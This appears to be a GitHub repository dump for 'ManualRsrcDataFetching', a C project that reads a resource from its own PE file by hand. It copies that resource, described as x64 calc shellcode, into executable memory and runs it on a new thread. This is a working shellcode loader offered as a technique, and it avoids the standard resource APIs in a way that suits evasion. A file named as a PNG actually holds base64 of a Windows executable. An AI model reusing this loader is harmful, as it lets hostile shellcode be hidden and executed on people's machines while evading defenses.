├── LICENSE
├── ManualResourceDataFetching.sln
├── ManualResourceDataFetching
├── ManualResourceDataFetching.vcxproj
├── ManualResourceDataFetching.vcxproj.filters
├── ManualResourceDataFetching.vcxproj.user
├── PAYLOAD.ico
├── main.c
├── resources.h
└── resources.rc
├── README.md
└── zghDmV.png
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2022 ORCA
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/ManualResourceDataFetching.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.1.32421.90
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ManualResourceDataFetching", "ManualResourceDataFetching\ManualResourceDataFetching.vcxproj", "{7A787D86-FB03-4C31-AE3D-083B7801E9F7}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {7A787D86-FB03-4C31-AE3D-083B7801E9F7}.Debug|x64.ActiveCfg = Debug|x64
17 | {7A787D86-FB03-4C31-AE3D-083B7801E9F7}.Debug|x64.Build.0 = Debug|x64
18 | {7A787D86-FB03-4C31-AE3D-083B7801E9F7}.Debug|x86.ActiveCfg = Debug|Win32
19 | {7A787D86-FB03-4C31-AE3D-083B7801E9F7}.Debug|x86.Build.0 = Debug|Win32
20 | {7A787D86-FB03-4C31-AE3D-083B7801E9F7}.Release|x64.ActiveCfg = Release|x64
21 | {7A787D86-FB03-4C31-AE3D-083B7801E9F7}.Release|x64.Build.0 = Release|x64
22 | {7A787D86-FB03-4C31-AE3D-083B7801E9F7}.Release|x86.ActiveCfg = Release|Win32
23 | {7A787D86-FB03-4C31-AE3D-083B7801E9F7}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {2F04D04F-BE06-4454-B8C4-CBE120015BDB}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/ManualResourceDataFetching/ManualResourceDataFetching.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {7a787d86-fb03-4c31-ae3d-083b7801e9f7}
25 | ManualResourceDataFetching
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | false
78 |
79 |
80 | true
81 |
82 |
83 | false
84 |
85 |
86 |
87 | Level3
88 | true
89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
90 | true
91 |
92 |
93 | Console
94 | true
95 |
96 |
97 |
98 |
99 | Level3
100 | true
101 | true
102 | true
103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
104 | true
105 |
106 |
107 | Console
108 | true
109 | true
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
118 | true
119 |
120 |
121 | Console
122 | true
123 |
124 |
125 |
126 |
127 | Level3
128 | true
129 | true
130 | true
131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
132 | true
133 |
134 |
135 | Console
136 | true
137 | true
138 | true
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
--------------------------------------------------------------------------------
/ManualResourceDataFetching/ManualResourceDataFetching.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Header Files
20 |
21 |
22 |
23 |
24 | Resource Files
25 |
26 |
27 |
28 |
29 | Source Files
30 |
31 |
32 |
--------------------------------------------------------------------------------
/ManualResourceDataFetching/ManualResourceDataFetching.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/ManualResourceDataFetching/PAYLOAD.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NUL0x4C/ManualRsrcDataFetching/8e48dd05a1d25d93ee1912ce6561ea1e983ea6f1/ManualResourceDataFetching/PAYLOAD.ico
--------------------------------------------------------------------------------
/ManualResourceDataFetching/main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "resources.h"
4 |
5 |
6 |
7 |
8 | BOOL GetResourceData(HMODULE hModule, WORD ResourceId, PVOID* ppResourceRawData, PDWORD psResourceDataSize) {
9 |
10 | CHAR* pBaseAddr = (CHAR*)hModule;
11 | PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBaseAddr;
12 | PIMAGE_NT_HEADERS pImgNTHdr = (PIMAGE_NT_HEADERS)(pBaseAddr + pImgDosHdr->e_lfanew);
13 | PIMAGE_OPTIONAL_HEADER pImgOptionalHdr = (PIMAGE_OPTIONAL_HEADER)&pImgNTHdr->OptionalHeader;
14 | PIMAGE_DATA_DIRECTORY pDataDir = (PIMAGE_DATA_DIRECTORY)&pImgOptionalHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE];
15 |
16 | PIMAGE_RESOURCE_DIRECTORY pResourceDir = NULL, pResourceDir2 = NULL, pResourceDir3 = NULL;
17 | PIMAGE_RESOURCE_DIRECTORY_ENTRY pResourceEntry = NULL, pResourceEntry2 = NULL, pResourceEntry3 = NULL;
18 |
19 | PIMAGE_RESOURCE_DATA_ENTRY pResource = NULL;
20 |
21 |
22 | pResourceDir = (PIMAGE_RESOURCE_DIRECTORY)(pBaseAddr + pDataDir->VirtualAddress);
23 | pResourceEntry = (IMAGE_RESOURCE_DIRECTORY_ENTRY*)(pResourceDir + 1);
24 |
25 |
26 | for (size_t i = 0; i < (pResourceDir->NumberOfNamedEntries + pResourceDir->NumberOfIdEntries); i++) {
27 |
28 | if (pResourceEntry[i].DataIsDirectory == 0)
29 | break;
30 |
31 | pResourceDir2 = (PIMAGE_RESOURCE_DIRECTORY)(pBaseAddr + pDataDir->VirtualAddress + (pResourceEntry[i].OffsetToDirectory & 0x7FFFFFFF));
32 | pResourceEntry2 = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pResourceDir2 + 1);
33 |
34 | if (pResourceEntry2->DataIsDirectory == 1 && pResourceEntry2->Id == ResourceId){
35 |
36 | pResourceDir3 = (PIMAGE_RESOURCE_DIRECTORY)(pBaseAddr + pDataDir->VirtualAddress + (pResourceEntry2->OffsetToDirectory & 0x7FFFFFFF));
37 | pResourceEntry3 = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pResourceDir3 + 1);
38 |
39 | pResource = (PIMAGE_RESOURCE_DATA_ENTRY)(pBaseAddr + pDataDir->VirtualAddress + (pResourceEntry3->OffsetToData & 0x7FFFFFFF));
40 |
41 | *ppResourceRawData = (PVOID)(pBaseAddr + (pResource->OffsetToData));
42 | *psResourceDataSize = pResource->Size;
43 |
44 | break;
45 | }
46 |
47 | }
48 |
49 | if (*ppResourceRawData != NULL && *psResourceDataSize != NULL)
50 | return TRUE;
51 |
52 | return FALSE;
53 | }
54 |
55 |
56 | int main() {
57 |
58 |
59 |
60 | PVOID ppResourceRawData = NULL;
61 | DWORD psResourceDataSize = NULL;
62 |
63 |
64 | if (!GetResourceData(GetModuleHandle(NULL), MY_PAYLOAD, &ppResourceRawData, &psResourceDataSize)) {
65 | return -1;
66 | }
67 |
68 | printf("[i] ppResourceRawData : 0x%p \n[i] psResourceDataSize : %d \n", ppResourceRawData, psResourceDataSize);
69 |
70 | system("PAUSE");
71 |
72 | PVOID pAddress = VirtualAlloc(NULL, psResourceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
73 | memcpy(pAddress, ppResourceRawData, psResourceDataSize);
74 | CreateThread(NULL, 0, pAddress, NULL, NULL, NULL);
75 |
76 |
77 |
78 | system("PAUSE");
79 | return 0;
80 | }
81 |
--------------------------------------------------------------------------------
/ManualResourceDataFetching/resources.h:
--------------------------------------------------------------------------------
1 | #define MY_PAYLOAD 0x314
2 |
--------------------------------------------------------------------------------
/ManualResourceDataFetching/resources.rc:
--------------------------------------------------------------------------------
1 | #include "resources.h"
2 |
3 | MY_PAYLOAD RCDATA PAYLOAD.ico
4 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## ManualRsrcDataFetching: one function to replace FindResource & LoadResource & LockResource & SizeofResource windows apis.
2 |
3 |
4 |
5 | #### Note: Payload.ico is a x64 calc shellcode
6 |
7 |
--------------------------------------------------------------------------------
/zghDmV.png:
--------------------------------------------------------------------------------
1 | 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